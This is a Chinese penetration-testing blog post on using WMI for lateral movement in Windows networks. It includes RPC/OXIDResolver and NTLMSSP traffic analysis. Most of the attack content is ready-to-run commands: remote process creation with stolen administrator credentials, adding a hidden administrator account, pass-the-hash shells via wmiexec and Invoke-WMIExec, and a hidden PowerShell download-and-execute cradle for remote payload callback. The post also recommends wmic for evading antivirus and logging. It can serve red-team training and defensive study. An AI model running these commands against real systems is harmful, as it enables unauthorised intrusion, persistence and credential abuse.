点我

概述

WMI为Windows在power shell未发布之前,微软用于管理Windows系统的数据库工具,WMI本身的架构就是一个数据库架构,WMI服务使用DCOM或者WinRM协议。

在使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中,因此很多APT组织都使用WMI进行攻击。

相关命令

命令作用
wmic nicconfig get ipaddress,macaddress查看系统中网卡的IP地址和MAC地址
wmic ntdomain list brief域控机器
wmic useraccount list brief用户列表
wmic share get name,path查看系统共享
wmic service list brief\more服务列表
wmic start list full识别开机启动的程序,包括路径
wmic fsdir "c:\test" call delete删除C盘下的test目录
wmic nteventlog get path,filename,writeable查看系统中开启的日志
............

其他操作命令

1、执行命令并且进行输出

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"

2、列出远程主机的进程

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process list brief

3、在远程计算机中执行BAT脚本

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create c:\test.bat

4、添加用户

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3d4.. /add && net localgroup administrators test /add"

5、执行powershell脚本上线

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('PS脚本地址'))\""

RPC协议

DCERPC为Windows系统中非常基础的通信协议,DCERPC比RDP协议更为普遍,默认为开启状态,内容丰富,接口众多。

DCERPC协议的默认端口为135

RPC协议-OXIDResolve接口 流量分析

使用的wmic命令为

wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c ipconfig >c:\ip.txt"

第一个数据包分析,该数据包表明利用了RPC协议调用的接口为OXIDResolve

第二个数据包分析,目标机器返回的数据包中包含了确认信息

第三个数据包分析,利用dcom发起OXID接口的请求数据包

第四个数据包分析,OXID接口返回的数据,包含了工作组名字、域名、IP地址、IPV6地址等等

RPC协议-OXIDResolve接口规则

1、该接口的访问是未授权的(并没有进行认证,只要使用RPC调用OXID接口即可)

2、该接口可以得到目标机器的相关机器信息(机器名、IP地址、网卡等信息)

课外阅读:https://nosec.org/home/detail/4709.htmlhttps://github.com/komomon/Dcerpc_Find_OSInfo/blob/main/Dcerpc_Find_OSInfo.py

RPC协议-NTLMSSP

ntlmssp服务主要针对RPC(远程过程调用),RPC有两种通信方式可以选择。一种为传输协议(TCP/IP、UDP等),第二种为命名管道(pipeline)。

通常情况下Windows默认都会选择传输协议,而由于RPC协议采用非加密传输 ,通信双方数据无法保证安全,而ntlmssp就是为此类RPC提供安全服务。

分析第一个数据包,包含认证方式等信息

分析第二个数据包,由于该接口是远程调用接口,故需要进行认证。这里使用的是NTLM挑战响应认证,数据包为challenge值,且包含自己主机相关信息(包含了域名、机器名、DNS域名等信息)

第三个数据包分析,response值,用于认证

第四个数据包分析,认证成功之后接着远程调用isystem mactivator接口,remotecreateinstance函数作用为实际对象创建对象引用。

WMI横向利用条件

1、wmic命令需要本地管理员或者域管理员权限(有UAC权限的用户也可以)

2、端口135、445开放(部分脚本需要借助SMB认证)

利用WMI横向进行上线

1、利用机器自带wmic的命名(建议使用,自带的命令没有使用其它协议认证,也没有连接共享,不依赖于默认共享,并且可以过杀软)

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"

192.168.110.7

192.168.110.8

执行powershell上线

wmic /node:IP地址 /user:本地管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('ps脚本地址'))\""

2、wmiexec工具

由于该工具会走SMB认证和访问共享等行为,一般情况下杀软会进行拦截

相关命令格式:

wmiexec.exe <域名/>用户名:密码@目标IP地址 #希传递获得shell
wmiexec.exe <域名/>用户名:密码@目标IP地址 "ipconfig"  #执行ipconfig这条命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址    #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址    #执行ipconfig这条命令

3、wmiexec.vbs脚本通过VBS调用WMI模拟psexec的功能,可以在远程系统中执行命令并且进行回显,获得远程主机的半交互式shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,一种是执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd IP地址 用户名 密码 "执行的命令"

例如:

cscript.exe //nologo wmiexec.vbs /cmd 192.168.110.8 administrator a1b2c3.. "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('powershell脚本地址'))\""

4、Invoke-WMIexec脚本

用法:

Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target IP地址 -Domain 域名 -Username 用户名 -Hash hash值 -Command "执行的命令" -verbose
分类: 内网渗透

评论

-- 评论已关闭 --

目录